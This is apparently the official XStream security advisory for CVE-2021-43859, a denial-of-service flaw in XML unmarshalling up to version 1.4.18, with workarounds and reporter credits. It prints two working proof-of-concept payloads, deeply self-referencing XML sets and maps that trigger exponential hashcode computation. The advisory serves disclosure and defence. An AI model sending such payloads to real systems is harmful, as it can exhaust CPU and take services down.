CVE-2021-43859

Vulnerability

CVE-2021-43859: XStream can cause a Denial of Service by injecting highly recursive collections or maps.

Affected Versions

All versions until and including version 1.4.18 are affected.

Description

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in exponential recursively hashcode calculation, causing a denial of service.

Steps to Reproduce

The attack uses the hashcode implementation of collection types in the Java runtime. Following types are affected with lastest Java versions available in December 2021:

Create a simple HashSet and use XStream to marshal it to XML. Replace the XML with following snippet, increase the depth of the structure and unmarshal it with XStream:

<set>
  <set>
    <string>a</string>
    <set>
      <string>a</string>
      <set>
        <string>a</string>
      </set>
      <set>
        <string>b</string>
      </set>
    </set>
    <set>
      <set reference="../../set/set"/>
      <string>b</string>
      <set reference="../../set/set[2]"/>
    </set>
  </set>
  <set>
    <set reference="../../set/set"/>
    <string>b</string>
    <set reference="../../set/set[2]"/>
  </set>
</set>
XStream xstream = new XStream();
xstream.fromXML(xml);

Create a simple HashMap and use XStream to marshal it to XML. Replace the XML with following snippet, increase the depth of the structure and unmarshal it with XStream:

<map>
  <entry>
    <map>
      <entry>
        <string>a</string>
        <string>b</string>
      </entry>
      <entry>
        <map>
          <entry>
            <string>a</string>
            <string>b</string>
          </entry>
          <entry>
            <map>
              <entry>
                <string>a</string>
                <string>b</string>
              </entry>
            </map>
            <map>
              <entry>
                <string>c</string>
                <string>d</string>
              </entry>
            </map>
          </entry>
          <entry>
            <map reference="../../entry[2]/map[2]"/>
            <map reference="../../entry[2]/map"/>
          </entry>
        </map>
        <map>
          <entry>
            <string>c</string>
            <string>d</string>
          </entry>
          <entry>
            <map reference="../../../entry[2]/map"/>
            <map reference="../../../entry[2]/map[2]"/>
          </entry>
          <entry>
            <map reference="../../../entry[2]/map[2]"/>
            <map reference="../../../entry[2]/map"/>
          </entry>
        </map>
      </entry>
      <entry>
        <map reference="../../entry[2]/map[2]"/>
        <map reference="../../entry[2]/map"/>
      </entry>
    </map>
    <map>
      <entry>
        <string>c</string>
        <string>d</string>
      </entry>
      <entry>
        <map reference="../../../entry[2]/map"/>
        <map reference="../../../entry[2]/map[2]"/>
      </entry>
      <entry>
        <map reference="../../../entry[2]/map[2]"/>
        <map reference="../../../entry[2]/map"/>
      </entry>
    </map>
  </entry>
  <entry>
    <map reference="../../entry[2]/map[2]"/>
    <map reference="../../entry[2]/map"/>
  </entry>
</map>
XStream xstream = new XStream();
xstream.fromXML(xml);

As soon as the XML is unmarshalled, the hash codes of the elements are calculated and the calculation time increases exponentially due to the highly recursive structure.

Note, this example uses XML, but the attack can be performed for any supported format, that supports references, i.e. JSON is not affected.

Impact

The vulnerability may allow a remote attacker to allocate 100% CPU time on the target system depending on CPU type or parallel execution of such a payload resulting in a denial of service only by manipulating the processed input stream.

Workarounds

If your object graph does not use referenced elements at all, you may simply set the NO_REFERENCE mode:

XStream xstream = new XStream();
xstream.setMode(XStream.NO_REFERENCES);

If your object graph contains neither a Hashtable, HashMap nor a HashSet (or one of the linked variants of it) then you can use the security framework to deny the usage of these types:

XStream xstream = new XStream();
xstream.denyTypes(new Class[]{
	java.util.HashMap.class, java.util.HashSet.class, java.util.Hashtable.class, java.util.LinkedHashMap.class, java.util.LinkedHashSet.class
});

Unfortunately these types are very common. If you only use HashMap or HashSet and your XML refers these only as default map or set, you may additionally change the default implementation of java.util.Map and java.util.Set at unmarshalling time:

xstream.addDefaultImplementation(java.util.TreeMap.class, java.util.Map.class);
xstream.addDefaultImplementation(java.util.TreeSet.class, java.util.Set.class);

However, this implies that your application does not care about the implementation of the map and all elements are comparable.

Credits

r00t4dm at Cloud-Penetrating Arrow Lab found and reported the issue to XStream and provided the required information to reproduce it.